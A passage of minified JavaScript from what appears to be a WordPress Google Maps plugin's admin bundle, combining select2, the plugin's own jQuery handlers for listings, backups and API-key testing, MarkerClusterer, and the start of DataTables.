t,e,n,i=f(this.search);e=this.search,s||(n=e[0].currentStyle||window.getComputedStyle(e[0],null),(s=v(document.createElement("div")).css({position:"absolute",left:"-10000px",top:"-10000px",display:"none",fontSize:n.fontSize,fontFamily:n.fontFamily,fontStyle:n.fontStyle,fontWeight:n.fontWeight,letterSpacing:n.letterSpacing,textTransform:n.textTransform,whiteSpace:"nowrap"})).attr("class","select2-sizer"),v(document.body).append(s)),s.text(e.val()),n=s.width()+10,e=this.search.offset().left,(e=(e=(e=(t=this.selection.width())-(e-this.selection.offset().left)-i)<n?t-i:e)<40?t-i:e)<=0&&(e=n),this.search.width(Math.floor(e))},getVal:function(){var t;return this.select?null===(t=this.select.val())?[]:t:p(t=this.opts.element.val(),this.opts.separator,this.opts.transformVal)},setVal:function(t){var e,n;this.select?this.select.val(t):(e=[],n={},v(t).each(function(){this in n||(e.push(this),n[this]=0)}),this.opts.element.val(0===e.length?"":e.join(this.opts.separator)))},buildChangeDetails:function(t,e){for(var e=e.slice(0),t=t.slice(0),n=0;n<e.length;n++)for(var i=0;i<t.length;i++)if(d(this.opts.id(e[n]),this.opts.id(t[i]))){e.splice(n,1),n--,t.splice(i,1);break}return{added:e,removed:t}},val:function(t,n){var i,s=this;if(0===arguments.length)return this.getVal();if((i=this.data()).length||(i=[]),t||0===t){if(this.setVal(t),this.select)this.opts.initSelection(this.select,this.bind(this.updateSelection)),n&&this.triggerChange(this.buildChangeDetails(i,this.data()));else{if(this.opts.initSelection===b)throw new Error("val() cannot be called if initSelection() is not defined");this.opts.initSelection(this.opts.element,function(t){var e=v.map(t,s.id);s.setVal(e),s.updateSelection(t),s.clearSearch(),n&&s.triggerChange(s.buildChangeDetails(i,s.data()))})}this.clearSearch()}else this.opts.element.val(""),this.updateSelection([]),this.clearSearch(),n&&this.triggerChange({added:this.data(),removed:i})},onSortStart:function(){if(this.select)throw new Error("Sorting of elements is not supported when attached to <select>. Attach to <input type='hidden'/> instead.");this.search.width(0),this.searchContainer.hide()},onSortEnd:function(){var t=[],e=this;this.searchContainer.show(),this.searchContainer.appendTo(this.searchContainer.parent()),this.resizeSearch(),this.selection.find(".select2-search-choice").each(function(){t.push(e.opts.id(v(this).data("select2-data")))}),this.setVal(t),this.triggerChange()},data:function(t,e){var n,i,s=this;if(0===arguments.length)return this.selection.children(".select2-search-choice").map(function(){return v(this).data("select2-data")}).get();i=this.data(),n=v.map(t=t||[],function(t){return s.opts.id(t)}),this.setVal(n),this.updateSelection(t),this.clearSearch(),e&&this.triggerChange(this.buildChangeDetails(i,this.data()))}}),v.fn.select2=function(){var t,e,n,i,s=Array.prototype.slice.call(arguments,0),o=["val","destroy","opened","open","close","focus","isFocused","container","dropdown","onSortStart","onSortEnd","enable","disable","readonly","positionDropdown","data","search"],a=["opened","isFocused","container","dropdown"],r=["val","data"],l={search:"externalSearch"};return this.each(function(){if(0===s.length||"object"==typeof s[0])(e=0===s.length?{}:v.extend({},s[0])).element=v(this),"select"===e.element.get(0).tagName.toLowerCase()?i=e.element.prop("multiple"):(i=e.multiple||!1,"tags"in e&&(e.multiple=i=!0)),(t=new(i?window.Select2.class.multi:window.Select2.class.single)).init(e);else{if("string"!=typeof s[0])throw"Invalid arguments to select2 plugin: "+s;if(u(s[0],o)<0)throw"Unknown method: "+s[0];if(n=b,(t=v(this).data("select2"))!==b)return e=s[0],n="container"===e?t.container:"dropdown"===e?t.dropdown:t[e=l[e]?l[e]:e].apply(t,s.slice(1)),!(0<=u(s[0],a)||0<=u(s[0],r)&&1==s.length)&&void 0}}),n===b?this:n},v.fn.select2.defaults={debug:!1,width:"copy",loadMorePadding:0,closeOnSelect:!0,openOnEnter:!0,containerCss:{},dropdownCss:{},containerCssClass:"",dropdownCssClass:"",formatResult:function(t,e,n,i){var s=[];return C(this.text(t),n.term,s,i),s.join("")},transformVal:function(t){return v.trim(t)},formatSelection:function(t,e,n){return t?n(this.text(t)):b},sortResults:function(t,e,n){return t},formatResultCssClass:function(t){return t.css},formatSelectionCssClass:function(t,e){return b},minimumResultsForSearch:0,minimumInputLength:0,maximumInputLength:null,maximumSelectionSize:0,id:function(t){return t==b?null:t.id},text:function(t){return t&&this.data&&this.data.text?v.isFunction(this.data.text)?this.data.text(t):t[this.data.text]:t.text},matcher:function(t,e){return 0<=h(""+e).toUpperCase().indexOf(h(""+t).toUpperCase())},separator:",",tokenSeparators:[],tokenizer:function(t,e,n,i){var s,o,a,r,l,c=t,h=!1;if(!i.createSearchChoice||!i.tokenSeparators||i.tokenSeparators.length<1)return b;for(;;){for(o=-1,a=0,r=i.tokenSeparators.length;a<r&&(l=i.tokenSeparators[a],!(0<=(o=t.indexOf(l))));a++);if(o<0)break;if(s=t.substring(0,o),t=t.substring(o+l.length),0<s.length&&(s=i.createSearchChoice.call(this,s,e))!==b&&null!==s&&i.id(s)!==b&&null!==i.id(s)){for(h=!1,a=0,r=e.length;a<r;a++)if(d(i.id(s),i.id(e[a]))){h=!0;break}h||n(s)}}return c!==t?t:void 0},escapeMarkup:T,blurOnChange:!1,selectOnBlur:!1,adaptContainerCssClass:function(t){return t},adaptDropdownCssClass:function(t){return null},nextSearchTerm:function(t,e){return b},searchInputPlaceholder:"",createSearchChoicePosition:"top",shouldFocusInput:function(t){return!(("ontouchstart"in window||0<navigator.msMaxTouchPoints)&&t.opts.minimumResultsForSearch<0)}},v.fn.select2.locales=[],v.fn.select2.locales.en={formatMatches:function(t){return 1===t?"One result is available, press enter to select it.":t+" results are available, use up and down arrow keys to navigate."},formatNoMatches:function(){return"No matches found"},formatAjaxError:function(t,e,n){return"Loading failed"},formatInputTooShort:function(t,e){e-=t.length;return"Please enter "+e+" or more character"+(1==e?"":"s")},formatInputTooLong:function(t,e){t=t.length-e;return"Please delete "+t+" character"+(1==t?"":"s")},formatSelectionTooBig:function(t){return"You can only select "+t+" item"+(1==t?"":"s")},formatLoadMore:function(t){return"Loading more results…"},formatSearching:function(){return"Searching…"}},v.extend(v.fn.select2.defaults,v.fn.select2.locales.en),v.fn.select2.ajaxDefaults={transport:v.ajax,params:{type:"GET",cache:!1,dataType:"json"}},window.Select2={query:{ajax:x,local:k,tags:D},util:{debounce:S,markMatch:C,escapeMarkup:T,stripDiacritics:h},class:{abstract:t,single:e,multi:n}})}(jQuery),jQuery(document).ready(function(s){0<s(".toplevel_page_wpgmp_view_overview ul li a").find(".fc-fire-sale").length&&s(".toplevel_page_wpgmp_view_overview ul li a").find(".fc-fire-sale").parent("a").attr("target","_blank");let e=[];if(s(".wp-list-table").find(":checkbox").change(function(){let t=[];s(".wp-list-table").find(":checkbox").not("#cb-select-all-1").each(function(){s(this).is(":checked")&&t.push(this.value)}),e=t}),s(document).on("click","#doaction",function(t){if(t.preventDefault(),"delete"==s("#bulk-action-selector-top").val()){if(0!=e.length)return confirm(wpgmp_local.confirm_bulk_delete)&&s(".wpgmp_listing_form").submit(),!1;alert(wpgmp_local.no_record_for_bulk_delete)}}),"undefined"!=typeof google_customizer_fonts){var t=Object.keys(google_customizer_fonts).map(function(t){return google_customizer_fonts[t]});if(t&&0<t.length)for(var n in t){n=t[n];0<=(n=0<=n.indexOf(",")?(n=n.split(","))[0]:n).indexOf('"')&&(n=(n=n.replace('"',"")).replace('"',"")),WebFont.load({google:{families:[n]}})}}s(document).on("click",".bulk-delete-btn",function(t){t.preventDefault(),s(".wpgmp_listing_form").submit()}),s(".delete_fc_record").click(function(t){t.preventDefault();var t=jQuery(this),e=t.data("item-id"),n=t.data("page-slug"),t=t.data("record-type"),i=s("#_wpnonce").val();("location_id"==t?confirm(wpgmp_local.confirm_location_delete):"map_id"==t?confirm(wpgmp_local.confirm_map_delete):"group_map_id"==t?confirm(wpgmp_local.confirm_category_delete):confirm(wpgmp_local.confirm_record_delete))&&(window.location.href="?page="+n+"&doaction=delete&"+t+"="+e+"&_wpnonce="+i)});s(".wpgmp_check_backup").click(function(){var t;return 1==confirm(wpgmp_local.confirm_overwrite_db)&&(t=s(this).data("backup"),s(this).closest("form").find("input[name='row_id']").val(t),s(this).closest("form").find("input[name='operation']").val("import_backup"),s(this).closest("form").submit(),!0)}),s(".wpgmp_check_key").click(function(){s(".wpgmp_apitest").html("...");var t=s("input[name='wpgmp_api_key']").val();s.get("https://maps.googleapis.com/maps/api/geocode/json?address=1600+Amphitheatre+Parkway,+Mountain+View,+CA&key="+t,function(t){"OK"==t.status?s(".wpgmp_apitest").html("<div class='fc-msg fc-success'>Congratulation, the API key you created is perfect. You can now <a class='create_location_link' target='_blank' href='https://www.wpmapspro.com/docs/create-a-location-using-simple-method/'>start</a> creating maps!</div>"):s(".wpgmp_apitest").html("<div class='fc-msg fc-danger'>"+t.error_message+"</div>")})}),s("select[name='map_id']").change(function(){s(this).closest("form").submit()}),s("select[name='filter_location']").change(function(t){t.preventDefault(),(0<s(this).val()?(s("tr[class^='filter_group_cat']").hide(),s(".filter_group_cat"+s(this).val())):s("tr[class^='filter_group_cat']")).show("slow")}),s(".wpgmp_search_input").keyup(function(){map_id=s(this).attr("rel"),s(".wpgmp_locations_listing[rel='"+map_id+"']").addClass("wpgmp_loading"),wpgmp_filter_locations(map_id,1)}),s(".wpgmp_toggle_container").click(function(){s(".wpgmp_toggle_main_container").toggle("slow"),"Hide"==s(this).text()?s(this).text("Show"):s(this).text("Hide")}),s(".wpgmp_mcurrent_loction").click(function(){wpgmp_get_current_location()}),s(".wpgmp-select-all").click(function(){s(".wpgmp-select-all").prop("checked")?s(this).closest("table").find(".wpgmp-location-checkbox").prop("checked",!0):s(this).closest("table").find(".wpgmp-location-checkbox").prop("checked",!1)}),s(".wpgmp-location-checkbox").click(function(){s(".wpgmp-location-checkbox").length==s(".wpgmp-location-checkbox:checked").length?s(".wpgmp-select-all").prop("checked",!0):s(".wpgmp-select-all").prop("checked",!1)}),s(".wpgmp_map_key_missing").click(function(t){return t.preventDefault(),window.open("http://bit.ly/29Rlmfc","_blank"),!1});var i=s("#wpgmp_google_map_data_table").dataTable({lengthMenu:[[10,25,50,100,200,500,-1],[10,25,50,100,200,500,"All"]],order:[[1,"desc"]],aoColumns:[{sWidth:"5%",bSortable:!1},{sWidth:"40%"},{sWidth:"30%"},{sWidth:"20%"}]});s("#wpgmp_google_map_route_data_table").dataTable({lengthMenu:[[10,25,50,100,200,500,-1],[10,25,50,100,200,500,"All"]],aoColumns:[{sWidth:"10%"},{sWidth:"35%"},{sWidth:"35%"},{sWidth:"20%"}]});s('input[name="save_entity_data"]').click(function(){var t=i.$('input[type="checkbox"]:checked'),n=[];return 0<t.length&&(s.each(t,function(t,e){n.push(s(e).val())}),s('input[name="map_locations"]').val(n)),!0}),s('select[name="select_all"]').change(function(){"select_all"==s(this).val()?s('input[name="map_locations[]"]').attr("checked",!0):s('input[name="map_locations[]"]').attr("checked",!1)}),s('input[name="save_route_data"]').click(function(){var t=i.$('input[type="checkbox"]:checked'),n=[];return 0<t.length&&(s.each(t,function(t,e){n.push(s(e).val())}),s('input[name="route_way_points"]').val(n)),!0}),s(".switch_onoff").change(function(){var t=s(this).data("target");"radio"==s(this).attr("type")&&(s(t).closest(".form-group").hide(),t+="_"+s(this).val()),s(this).is(":checked")?s(t).closest(".form-group").show():(s(t).closest(".form-group").hide(),s(t).hasClass("switch_onoff")&&(s(t).attr("checked",!1),s(t).trigger("change")))}),s.each(s(".switch_onoff"),function(t,e){1==s(this).is(":checked")&&s(this).trigger("change")}),0<s(".wpgmp-overview .color").length&&s(".wpgmp-overview .color").wpColorPicker(),s(".buy_premium .hide_buy_notice").click(function(){s(".buy_premium").slideUp("slow");var t={action:"wpgmp_hide_buy_notice",ajaxnonce:wpgmp_local.ajaxnonce};jQuery.ajax({url:wpgmp_local.urlforajax,type:"post",dataType:"json",data:t,beforeSend:function(){},success:function(t){}})}),s(".sample_notice .hide_sample_notice").click(function(){s(".sample_notice").slideUp("slow");var t={action:"wpgmp_hide_sample_notice",ajaxnonce:wpgmp_local.ajaxnonce};jQuery.ajax({url:wpgmp_local.urlforajax,type:"post",dataType:"json",data:t,beforeSend:function(){},success:function(t){}})}),s(".copy_to_clipboard").click(function(){var t=s(this).parent(".tooltip").prev(".referrer_to_create").val();navigator.clipboard.writeText(t),s("span.tooltiptext").html(wpgmp_local.do_referrer_copy),s(this).find("span.tooltiptext").html(wpgmp_local.referrer_copied)})}),ClusterIcon.prototype.onAdd=function(){var s,o,a=this;this.div_=document.createElement("div"),this.div_.className=this.className_,this.visible_&&this.show(),this.getPanes().overlayMouseTarget.appendChild(this.div_),this.boundsChangedListener_=google.maps.event.addListener(this.getMap(),"bounds_changed",function(){o=s}),this.div_.addEventListener("mousedown",function(){o=!(s=!0)}),this.div_.addEventListener("click",function(t){var e,n,i;s=!1,o||(i=a.cluster_.getMarkerClusterer(),google.maps.event.trigger(i,"click",a.cluster_),google.maps.event.trigger(i,"clusterclick",a.cluster_),i.getZoomOnClick()&&(n=i.getMaxZoom(),e=a.cluster_.getBounds(),i.getMap().fitBounds(e),setTimeout(function(){i.getMap().fitBounds(e),null!==n&&i.getMap().getZoom()>n&&i.getMap().setZoom(n+1)},100)),t.cancelBubble=!0,t.stopPropagation&&t.stopPropagation())}),this.div_.addEventListener("mouseover",function(){var t=a.cluster_.getMarkerClusterer();google.maps.event.trigger(t,"mouseover",a.cluster_)}),this.div_.addEventListener("mouseout",function(){var t=a.cluster_.getMarkerClusterer();google.maps.event.trigger(t,"mouseout",a.cluster_)})},ClusterIcon.prototype.onRemove=function(){this.div_&&this.div_.parentNode&&(this.hide(),google.maps.event.removeListener(this.boundsChangedListener_),google.maps.event.clearInstanceListeners(this.div_),this.div_.parentNode.removeChild(this.div_),this.div_=null)},ClusterIcon.prototype.draw=function(){var t;this.visible_&&(t=this.getPosFromLatLng_(this.center_),this.div_.style.top=t.y+"px",this.div_.style.left=t.x+"px")},ClusterIcon.prototype.hide=function(){this.div_&&(this.div_.style.display="none"),this.visible_=!1},ClusterIcon.prototype.show=function(){var t,e,n,i;this.div_&&(t="",n=this.backgroundPosition_.split(" "),e=parseInt(n[0].replace(/^\s+|\s+$/g,""),10),n=parseInt(n[1].replace(/^\s+|\s+$/g,""),10),i=this.getPosFromLatLng_(this.center_),this.div_.style.cssText=this.createCss(i),t="<img src='"+this.url_+"' style='position: absolute; top: "+n+"px; left: "+e+"px; ",this.cluster_.getMarkerClusterer().enableRetinaIcons_||(t+="clip: rect("+-1*n+"px, "+(-1*e+this.width_)+"px, "+(-1*n+this.height_)+"px, "+-1*e+"px);"),this.div_.innerHTML=(t+="'>")+"<div style='position: absolute;top: "+this.anchorText_[0]+"px;left: "+this.anchorText_[1]+"px;color: "+this.textColor_+";font-size: "+this.textSize_+"px;font-family: "+this.fontFamily_+";font-weight: "+this.fontWeight_+";font-style: "+this.fontStyle_+";text-decoration: "+this.textDecoration_+";text-align: center;width: "+this.width_+"px;line-height:"+this.height_+"px;'>"+this.sums_.text+"</div>",void 0===this.sums_.title||""===this.sums_.title?this.div_.title=this.cluster_.getMarkerClusterer().getTitle():this.div_.title=this.sums_.title,this.div_.style.display=""),this.visible_=!0},ClusterIcon.prototype.useStyle=function(t){this.sums_=t;t=Math.max(0,t.index-1),t=Math.min(this.styles_.length-1,t),t=this.styles_[t];this.url_=t.url,this.height_=t.height,this.width_=t.width,this.anchorText_=t.anchorText||[0,0],this.anchorIcon_=t.anchorIcon||[parseInt(this.height_/2,10),parseInt(this.width_/2,10)],this.textColor_=t.textColor||"black",this.textSize_=t.textSize||11,this.textDecoration_=t.textDecoration||"none",this.fontWeight_=t.fontWeight||"bold",this.fontStyle_=t.fontStyle||"normal",this.fontFamily_=t.fontFamily||"Arial,sans-serif",this.backgroundPosition_=t.backgroundPosition||"0 0"},ClusterIcon.prototype.setCenter=function(t){this.center_=t},ClusterIcon.prototype.createCss=function(t){var e=[];return e.push("cursor: pointer;"),e.push("position: absolute; top: "+t.y+"px; left: "+t.x+"px;"),e.push("width: "+this.width_+"px; height: "+this.height_+"px;"),e.join("")},ClusterIcon.prototype.getPosFromLatLng_=function(t){t=this.getProjection().fromLatLngToDivPixel(t);return t.x-=this.anchorIcon_[1],t.y-=this.anchorIcon_[0],t.x=parseInt(t.x,10),t.y=parseInt(t.y,10),t},Cluster.prototype.getSize=function(){return this.markers_.length},Cluster.prototype.getMarkers=function(){return this.markers_},Cluster.prototype.getCenter=function(){return this.center_},Cluster.prototype.getMap=function(){return this.map_},Cluster.prototype.getMarkerClusterer=function(){return this.markerClusterer_},Cluster.prototype.getBounds=function(){for(var t=new google.maps.LatLngBounds(this.center_,this.center_),e=this.getMarkers(),n=0;n<e.length;n++)t.extend(e[n].getPosition());return t},Cluster.prototype.remove=function(){this.clusterIcon_.setMap(null),this.markers_=[],delete this.markers_},Cluster.prototype.addMarker=function(t){var e,n,i,s;if(this.isMarkerAlreadyAdded_(t))return!1;if(this.center_?this.averageCenter_&&(s=this.markers_.length+1,i=(this.center_.lat()*(s-1)+t.getPosition().lat())/s,s=(this.center_.lng()*(s-1)+t.getPosition().lng())/s,this.center_=new google.maps.LatLng(i,s),this.calculateBounds_()):(this.center_=t.getPosition(),this.calculateBounds_()),t.isAdded=!0,this.markers_.push(t),n=this.markers_.length,null!==(i=this.markerClusterer_.getMaxZoom())&&this.map_.getZoom()>i)t.getMap()!==this.map_&&t.setMap(this.map_);else if(n<this.minClusterSize_)t.getMap()!==this.map_&&t.setMap(this.map_);else if(n===this.minClusterSize_)for(e=0;e<n;e++)this.markers_[e].setMap(null);else t.setMap(null);return this.updateIcon_(),!0},Cluster.prototype.isMarkerInClusterBounds=function(t){return this.bounds_.contains(t.getPosition())},Cluster.prototype.calculateBounds_=function(){var t=new google.maps.LatLngBounds(this.center_,this.center_);this.bounds_=this.markerClusterer_.getExtendedBounds(t)},Cluster.prototype.updateIcon_=function(){var t=this.markers_.length,e=this.markerClusterer_.getMaxZoom();null!==e&&this.map_.getZoom()>e||t<this.minClusterSize_?this.clusterIcon_.hide():(e=this.markerClusterer_.getStyles().length,t=this.markerClusterer_.getCalculator()(this.markers_,e),this.clusterIcon_.setCenter(this.center_),this.clusterIcon_.useStyle(t),this.clusterIcon_.show())},Cluster.prototype.isMarkerAlreadyAdded_=function(t){var e;if(this.markers_.indexOf)return-1!==this.markers_.indexOf(t);for(e=0;e<this.markers_.length;e++)if(t===this.markers_[e])return!0;return!1},MarkerClusterer.prototype.onAdd=function(){var t=this;this.activeMap_=this.getMap(),this.ready_=!0,this.repaint(),this.listeners_=[google.maps.event.addListener(this.getMap(),"zoom_changed",function(){t.resetViewport_(!1),this.getZoom()!==(this.get("minZoom")||0)&&this.getZoom()!==this.get("maxZoom")||google.maps.event.trigger(this,"idle")}),google.maps.event.addListener(this.getMap(),"idle",function(){t.redraw_()})]},MarkerClusterer.prototype.onRemove=function(){for(var t=0;t<this.markers_.length;t++)this.markers_[t].getMap()!==this.activeMap_&&this.markers_[t].setMap(this.activeMap_);for(t=0;t<this.clusters_.length;t++)this.clusters_[t].remove();for(this.clusters_=[],t=0;t<this.listeners_.length;t++)google.maps.event.removeListener(this.listeners_[t]);this.listeners_=[],this.activeMap_=null,this.ready_=!1},MarkerClusterer.prototype.draw=function(){},MarkerClusterer.prototype.setupStyles_=function(){var t,e;if(!(0<this.styles_.length))for(t=0;t<this.imageSizes_.length;t++)e=this.imageSizes_[t],this.styles_.push({url:this.imagePath_+(t+1)+"."+this.imageExtension_,height:e,width:e})},MarkerClusterer.prototype.fitMapToMarkers=function(){for(var t=this.getMarkers(),e=new google.maps.LatLngBounds,n=0;n<t.length;n++)e.extend(t[n].getPosition());this.getMap().fitBounds(e)},MarkerClusterer.prototype.getGridSize=function(){return this.gridSize_},MarkerClusterer.prototype.setGridSize=function(t){this.gridSize_=t},MarkerClusterer.prototype.getMinimumClusterSize=function(){return this.minClusterSize_},MarkerClusterer.prototype.setMinimumClusterSize=function(t){this.minClusterSize_=t},MarkerClusterer.prototype.getMaxZoom=function(){return this.maxZoom_},MarkerClusterer.prototype.setMaxZoom=function(t){this.maxZoom_=t},MarkerClusterer.prototype.getStyles=function(){return this.styles_},MarkerClusterer.prototype.setStyles=function(t){this.styles_=t},MarkerClusterer.prototype.getTitle=function(){return this.title_},MarkerClusterer.prototype.setTitle=function(t){this.title_=t},MarkerClusterer.prototype.getZoomOnClick=function(){return this.zoomOnClick_},MarkerClusterer.prototype.setZoomOnClick=function(t){this.zoomOnClick_=t},MarkerClusterer.prototype.getAverageCenter=function(){return this.averageCenter_},MarkerClusterer.prototype.setAverageCenter=function(t){this.averageCenter_=t},MarkerClusterer.prototype.getIgnoreHidden=function(){return this.ignoreHidden_},MarkerClusterer.prototype.setIgnoreHidden=function(t){this.ignoreHidden_=t},MarkerClusterer.prototype.getEnableRetinaIcons=function(){return this.enableRetinaIcons_},MarkerClusterer.prototype.setEnableRetinaIcons=function(t){this.enableRetinaIcons_=t},MarkerClusterer.prototype.getImageExtension=function(){return this.imageExtension_},MarkerClusterer.prototype.setImageExtension=function(t){this.imageExtension_=t},MarkerClusterer.prototype.getImagePath=function(){return this.imagePath_},MarkerClusterer.prototype.setImagePath=function(t){this.imagePath_=t},MarkerClusterer.prototype.getImageSizes=function(){return this.imageSizes_},MarkerClusterer.prototype.setImageSizes=function(t){this.imageSizes_=t},MarkerClusterer.prototype.getCalculator=function(){return this.calculator_},MarkerClusterer.prototype.setCalculator=function(t){this.calculator_=t},MarkerClusterer.prototype.getBatchSizeIE=function(){return this.batchSizeIE_},MarkerClusterer.prototype.setBatchSizeIE=function(t){this.batchSizeIE_=t},MarkerClusterer.prototype.getClusterClass=function(){return this.clusterClass_},MarkerClusterer.prototype.setClusterClass=function(t){this.clusterClass_=t},MarkerClusterer.prototype.getMarkers=function(){return this.markers_},MarkerClusterer.prototype.getTotalMarkers=function(){return this.markers_.length},MarkerClusterer.prototype.getClusters=function(){return this.clusters_},MarkerClusterer.prototype.getTotalClusters=function(){return this.clusters_.length},MarkerClusterer.prototype.addMarker=function(t,e){this.pushMarkerTo_(t),e||this.redraw_()},MarkerClusterer.prototype.addMarkers=function(t,e){for(var n in t)t.hasOwnProperty(n)&&this.pushMarkerTo_(t[n]);e||this.redraw_()},MarkerClusterer.prototype.pushMarkerTo_=function(t){var e;t.getDraggable()&&(e=this,google.maps.event.addListener(t,"dragend",function(){e.ready_&&(this.isAdded=!1,e.repaint())})),t.isAdded=!1,this.markers_.push(t)},MarkerClusterer.prototype.removeMarker=function(t,e){t=this.removeMarker_(t);return!e&&t&&this.repaint(),t},MarkerClusterer.prototype.removeMarkers=function(t,e){for(var n,i=!1,s=0;s<t.length;s++)n=this.removeMarker_(t[s]),i=i||n;return!e&&i&&this.repaint(),i},MarkerClusterer.prototype.removeMarker_=function(t){var e,n=-1;if(this.markers_.indexOf)n=this.markers_.indexOf(t);else for(e=0;e<this.markers_.length;e++)if(t===this.markers_[e]){n=e;break}return-1!==n&&(t.setMap(null),this.markers_.splice(n,1),!0)},MarkerClusterer.prototype.clearMarkers=function(){this.resetViewport_(!0),this.markers_=[]},MarkerClusterer.prototype.repaint=function(){var e=this.clusters_.slice();this.clusters_=[],this.resetViewport_(!1),this.redraw_(),setTimeout(function(){for(var t=0;t<e.length;t++)e[t].remove()},0)},MarkerClusterer.prototype.getExtendedBounds=function(t){var e=this.getProjection(),n=new google.maps.LatLng(t.getNorthEast().lat(),t.getNorthEast().lng()),i=new google.maps.LatLng(t.getSouthWest().lat(),t.getSouthWest().lng()),n=e.fromLatLngToDivPixel(n),i=(n.x+=this.gridSize_,n.y-=this.gridSize_,e.fromLatLngToDivPixel(i)),n=(i.x-=this.gridSize_,i.y+=this.gridSize_,e.fromDivPixelToLatLng(n)),e=e.fromDivPixelToLatLng(i);return t.extend(n),t.extend(e),t},MarkerClusterer.prototype.redraw_=function(){this.createClusters_(0)},MarkerClusterer.prototype.resetViewport_=function(t){for(var e,n=0;n<this.clusters_.length;n++)this.clusters_[n].remove();for(this.clusters_=[],n=0;n<this.markers_.length;n++)(e=this.markers_[n]).isAdded=!1,t&&e.setMap(null)},MarkerClusterer.prototype.distanceBetweenPoints_=function(t,e){var n=(e.lat()-t.lat())*Math.PI/180,i=(e.lng()-t.lng())*Math.PI/180,n=Math.sin(n/2)*Math.sin(n/2)+Math.cos(t.lat()*Math.PI/180)*Math.cos(e.lat()*Math.PI/180)*Math.sin(i/2)*Math.sin(i/2);return 6371*(2*Math.atan2(Math.sqrt(n),Math.sqrt(1-n)))},MarkerClusterer.prototype.isMarkerInBounds_=function(t,e){return e.contains(t.getPosition())},MarkerClusterer.prototype.addToClosestCluster_=function(t){for(var e,n,i=4e4,s=null,o=0;o<this.clusters_.length;o++)(n=(e=this.clusters_[o]).getCenter())&&(n=this.distanceBetweenPoints_(n,t.getPosition()))<i&&(i=n,s=e);s&&s.isMarkerInClusterBounds(t)?s.addMarker(t):((e=new Cluster(this)).addMarker(t),this.clusters_.push(e))},MarkerClusterer.prototype.createClusters_=function(t){var e,n=this;if(this.ready_){0===t&&(google.maps.event.trigger(this,"clusteringbegin",this),void 0!==this.timerRefStatic)&&(clearTimeout(this.timerRefStatic),delete this.timerRefStatic);for(var i=3<this.getMap().getZoom()?new google.maps.LatLngBounds(this.getMap().getBounds().getSouthWest(),this.getMap().getBounds().getNorthEast()):new google.maps.LatLngBounds(new google.maps.LatLng(85.02070771743472,-178.48388434375),new google.maps.LatLng(-85.08136444384544,178.00048865625)),s=this.getExtendedBounds(i),o=Math.min(t+this.batchSize_,this.markers_.length),a=t;a<o;a++)!(e=this.markers_[a]).isAdded&&this.isMarkerInBounds_(e,s)&&(!this.ignoreHidden_||this.ignoreHidden_&&e.getVisible())&&this.addToClosestCluster_(e);o<this.markers_.length?this.timerRefStatic=setTimeout(function(){n.createClusters_(o)},0):(delete this.timerRefStatic,google.maps.event.trigger(this,"clusteringend",this))}},MarkerClusterer.prototype.extend=function(t,e){return function(t){for(var e in t.prototype)this.prototype[e]=t.prototype[e];return this}.apply(t,[e])},MarkerClusterer.CALCULATOR=function(t,e){for(var n=0,t=t.length.toString(),i=t;0!==i;)i=parseInt(i/10,10),n++;return{text:t,index:n=Math.min(n,e),title:""}},MarkerClusterer.BATCH_SIZE=2e3,MarkerClusterer.BATCH_SIZE_IE=500,MarkerClusterer.IMAGE_PATH="http://google-maps-utility-library-v3.googlecode.com/svn/trunk/markerclustererplus/images/m",MarkerClusterer.IMAGE_EXTENSION="png",MarkerClusterer.IMAGE_SIZES=[53,56,66,78,90],!function(Pe,Ee,Le){function t(M){function o(e){var n,i,s={};M.each(e,function(t){(n=t.match(/^([^A-Z]+?)([A-Z])/))&&-1!=="a aa ai ao as b fn i m o s ".indexOf(n[1]+" ")&&(i=t.replace(n[0],n[2].toLowerCase()),s[i]=t,"o"===n[1])&&o(e[t])}),e._hungarianMap=s}function b(e,n,i){var s;e._hungarianMap||o(e),M.each(n,function(t){(s=e._hungarianMap[t])===Le||!i&&n[s]!==Le||("o"===s.charAt(0)?(n[s]||(n[s]={}),M.extend(!0,n[s],n[t]),b(e[s],n[s],i)):n[s]=n[t])})}function j(t){var e=R.defaults.oLanguage,n=t.sZeroRecords;!t.sEmptyTable&&n&&"No data available in table"===e.sEmptyTable&&k(t,t,"sZeroRecords","sEmptyTable"),!t.sLoadingRecords&&n&&"Loading..."===e.sLoadingRecords&&k(t,t,"sZeroRecords","sLoadingRecords"),t.sInfoThousands&&(t.sThousands=t.sInfoThousands),(t=t.sDecimal)&&Yt(t)}function H(t){if(i(t,"ordering","bSort"),i(t,"orderMulti","bSortMulti"),i(t,"orderClasses","bSortClasses"),i(t,"orderCellsTop","bSortCellsTop"),i(t,"order","aaSorting"),i(t,"orderFixed","aaSortingFixed"),i(t,"paging","bPaginate"),i(t,"pagingType","sPaginationType"),i(t,"pageLength","iDisplayLength"),i(t,"searching","bFilter"),"boolean"==typeof t.sScrollX&&(t.sScrollX=t.sScrollX?"100%":""),t=t.aoSearchCols)for(var e=0,n=t.length;e<n;e++)t[e]&&b(R.models.oSearch,t[e])}function N(t){i(t,"orderable","bSortable"),i(t,"orderData","aDataSort"),i(t,"orderSequence","asSorting"),i(t,"orderDataType","sortDataType");var e=t.aDataSort;e&&!M.isArray(e)&&(t.aDataSort=[e])}function $(t){var t=t.oBrowser,e=M("<div/>").css({position:"fixed",top:0,left:0,height:1,width:1,overflow:"hidden"}).append(M("<div/>").css({position:"absolute",top:1,left:1,width:100,overflow:"scroll"}).append(M('<div class="test"/>').css({width:"100%",height:10}))).appendTo("body"),n=e.find(".test");t.bScrollOversize=100===n[0].offsetWidth,t.bScrollbarLeft=1!==Math.round(n.offset().left),t.bBounding=!!e[0].getBoundingClientRect().width,e.remove()}function n(t,e,n,i,s,o){var a,r=!1;for(n!==Le&&(a=n,r=!0);i!==s;)t.hasOwnProperty(i)&&(a=r?e(a,t[i],i,t):t[i],r=!0,i+=o);return a}function z(t,e){var n=R.defaults.column,i=t.aoColumns.length,n=M.extend({},R.models.oColumn,n,{nTh:e||Ee.createElement("th"),sTitle:n.sTitle||(e?e.innerHTML:""),aDataSort:n.aDataSort||[i],mData:n.mData||i,idx:i});t.aoColumns.push(n),(n=t.aoPreSearchCols)[i]=M.extend({},R.models.oSearch,n[i]),W(t,i,M(e).data())}function W(t,e,n){var 